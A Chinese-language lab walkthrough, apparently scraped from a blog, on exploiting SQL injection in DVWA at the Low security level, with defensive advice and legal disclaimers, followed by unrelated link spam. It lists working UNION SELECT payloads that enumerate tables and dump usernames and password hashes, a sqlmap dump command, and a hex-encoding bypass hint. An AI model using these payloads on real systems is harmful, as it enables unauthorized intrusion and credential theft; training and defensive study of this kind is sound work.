当前位置: 首页 > wzjs >正文

php网站如何导入数据库姓名查询

php网站如何导入数据库,姓名查询,蚂蚁加速器,专业的网站建设联系本文仅用于技术研究,禁止用于非法用途。 Author:枷锁 文章目录 一、环境准备二、漏洞分析(Low级别)三、SQL注入攻击步骤1. 探测注入点2. 判断字段数3. 确定回显位置4. 获取数据库信息5. 获取表名6. 获取字段名(users表&#xff0…

本文仅用于技术研究,禁止用于非法用途。
Author:枷锁

文章目录

    • 一、环境准备
    • 二、漏洞分析(Low级别)
    • 三、SQL注入攻击步骤
        • 1. 探测注入点
        • 2. 判断字段数
        • 3. 确定回显位置
        • 4. 获取数据库信息
        • 5. 获取表名
        • 6. 获取字段名(users表)
        • 7. 拖取用户数据
    • 四、防御建议
    • 五、总结
        • 提取关键信息
        • 自动化工具利用(sqlmap)
        • 1. 捕获请求
        • 2. sqlmap扫描命令
      • Low级别与其他级别防护对比

本文环境Security Level:low
以下是针对DVWA(Damn Vulnerable Web Application)中SQL注入漏洞在 Low安全级别下的详细教程,包含环境配置、漏洞原理、利用步骤及防御建议:


一、环境准备

1设置安全级别

  • 进入 DVWA Security → 选择 Security Level: Low → 点击 Submit

二、漏洞分析(Low级别)

  • 漏洞代码(查看源码路径:/vulnerabilities/view_source.php?id=sqli):
    $id = $_REQUEST['id'];
    $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    
  • 问题:用户输入的$id直接嵌入SQL语句,攻击者可通过插入单引号')闭合原有语句,注入恶意代码。

三、SQL注入攻击步骤

1. 探测注入点
  • 输入'(英文单引号)
    响应:SQL语法报错(如You have an error in your SQL syntax...)→ 存在字符型注入。
    在这里插入图片描述
2. 判断字段数
  • 输入1' ORDER BY 2 # → 正常返回
    在这里插入图片描述

    输入1' ORDER BY 3 # → 报错

在这里插入图片描述
结论:原查询返回2个字段

3. 确定回显位置
  • 输入1' UNION SELECT 1,2 #
    响应:页面显示数字12 → 两个字段均可回显数据
    在这里插入图片描述
4. 获取数据库信息
  • 数据库名与版本
    1' UNION SELECT database(), version() #
    
    响应:显示数据库名(如dvwa)和MySQL版本。
    在这里插入图片描述
5. 获取表名
  • 输入
    1' UNION SELECT 1, group_concat(table_name) 
    FROM information_schema.tables 
    WHERE table_schema = database() #
    
    响应:返回表名(如guestbook, users)。
    在这里插入图片描述
6. 获取字段名(users表)
  • 输入
    1' UNION SELECT 1, group_concat(column_name) 
    FROM information_schema.columns 
    WHERE table_name = 'users' #
    
    响应:返回字段名(如user_id, user, password)。
    在这里插入图片描述
7. 拖取用户数据
  • 输入
    1' UNION SELECT user, password FROM users #
    
    响应:显示所有用户名及MD5加密的密码(如admin → 5f4dcc3b5aa765d61d8327deb882cf99)。
    在这里插入图片描述

四、防御建议

  1. 预处理语句(PDO)
    $stmt = $conn->prepare("SELECT first_name FROM users WHERE user_id = ?");
    $stmt->bind_param("i", $id);  // "i"表示整数类型
    $stmt->execute();
    
  2. 输入过滤
    • 数字型参数:if (is_numeric($_GET['id'])) { ... }
    • 字符型参数:使用mysqli_real_escape_string()转义单引号等特殊字符。
  3. 最小权限原则:数据库账户仅授予必要权限(如禁止DROP)。

五、总结

  • Low级别漏洞本质:未过滤用户输入,直接拼接SQL语句导致命令执行。
  • 攻击核心:通过UNION SELECT联合查询逐步获取数据库元数据及敏感信息。
  • 防御核心预处理语句是根治SQL注入的最有效方案。
提取关键信息
目标信息Payload示例作用说明
数据库名与版本-1' UNION SELECT database(), version()#获取当前库名(如dvwa)及MySQL版本
所有表名-1' UNION SELECT 1, group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()#返回表名(如guestbook, users
users表字段名-1' UNION SELECT 1, group_concat(column_name) FROM information_schema.columns WHERE table_name='users'#返回字段名(如user, password
用户凭证数据-1' UNION SELECT user, password FROM users#获取用户名及MD5加密密码

自动化工具利用(sqlmap)
1. 捕获请求
  • 使用Burp Suite或浏览器开发者工具获取提交id=1时的HTTP请求(含Cookie)。
2. sqlmap扫描命令
sqlmap -u "http://靶机IP/vulnerabilities/sqli/?id=1&Submit=Submit" \--cookie="PHPSESSID=xxx; security=low" \--batch --dbs
  • 关键参数
    --dbs:列出所有数据库
    -D dvwa --tables:获取dvwa库的表
    -D dvwa -T users --dump:导出users表数据(自动破解弱口令MD5)。

Low级别与其他级别防护对比

安全级别输入方式防护措施绕过难度
Low文本框直接输入无过滤
Medium下拉菜单mysql_real_escape_string转义⭐⭐
High独立输入页Token校验 + LIMIT 1限制⭐⭐⭐
Impossible表单验证PDO预处理 + CSRF Token不可绕过

  • Low级别漏洞本质:用户输入直接拼接SQL语句,无过滤无转义。
  • 攻击核心:通过闭合单引号注入UNION SELECT联合查询,逐步获取数据库元信息及敏感数据。
  • 防御核心预处理语句是唯一根治方案,辅以输入验证与最小权限原则。

⚠️ 注:本教程仅用于教育目的,实际渗透需获得授权。建议在DVWA的Medium/High级别中练习更复杂的绕过技巧。


相关学习问题

  1. Medium级别如何绕过mysql_real_escape_string
    → 通过数字型注入十六进制编码绕过单引号过滤(如table_name=0x7573657273)。
  2. 布尔盲注与时间盲注在Low盲注模块的区别?
    → 布尔盲注依赖页面返回状态(存在/缺失),时间盲注通过SLEEP()函数观察响应延迟判断条件真伪。
  3. PDO预处理为何能彻底防御SQL注入?
    → PDO将用户输入视为数据参数而非SQL代码,从语法层面隔离指令与数据。

如需进一步实践,可参考:DVWA渗透测试实战指南|SQL注入防御最佳实践。

⚠️ 注:本教程仅用于安全学习。实际渗透测试需获得授权,避免非法攻击。

通过此教程,可清晰掌握DVWA Low级别SQL注入的手动利用链及防御逻辑。建议逐步挑战Medium/High级别,理解不同防护机制的绕过技巧。

宇宙级免责声明​​
🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨
1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。

🔐 安全研究的正确姿势:
✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界

⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。

希望这个教程对你有所帮助!记得负责任地进行安全测试。

http://www.dtcms.com/wzjs/92897.html

相关文章:

  • 莱芜企业网站建设公司站长统计ios
  • 住房和城乡建设部网站职称查询如何快速搭建网站
  • avada做网站线上广告平台
  • 网站建设全包哪家便宜河南做网站的公司
  • 学习网站建设网站中国企业网官方网站
  • wordpress制作404seo营销技巧培训班
  • 网站备案需先做网站吗关键词搜索引擎又称为
  • 大庆网站建设大庆汕头seo管理
  • 桂林景区网站建设策划方案识图
  • 德育工作网站建设方案天门seo
  • 注册个人公司需要什么条件网络优化是做啥的
  • 做企业网站选百度云还是阿里云怎么做网站卖产品
  • 东莞企业营销型网站关键词推广和定向推广
  • 怎么修改网站图片百度指数在线查询小程序
  • 黄河道网站建设公司百度推广入口官网
  • 网站项目整体思路网站快速收录的方法
  • 室内设计学校网站在线注册免费域名
  • wordpress苏醒优化营商环境评价
  • 什么网站设计素材多今日热点新闻大事件
  • 许昌市做网站公司汉狮价格包头seo
  • 佛山网站免费制作百度关键词优化快速排名软件
  • 办建筑资质证书要多少钱北京seo运营
  • 视频网站建设教程产品推广策划
  • 做网站 服务器价格上海搜索引擎优化1
  • 烟台网站建设比较大的收录优美图片手机版
  • 微信网页网站怎么做广州疫情防控措施
  • 网站开发软件测试报告网站源码建站
  • 最专业微网站建设公司百度应用市场app下载
  • 织梦做视频网站可以吗seo培训多少钱
  • 广州网站建设外包建设推广厦门网络推广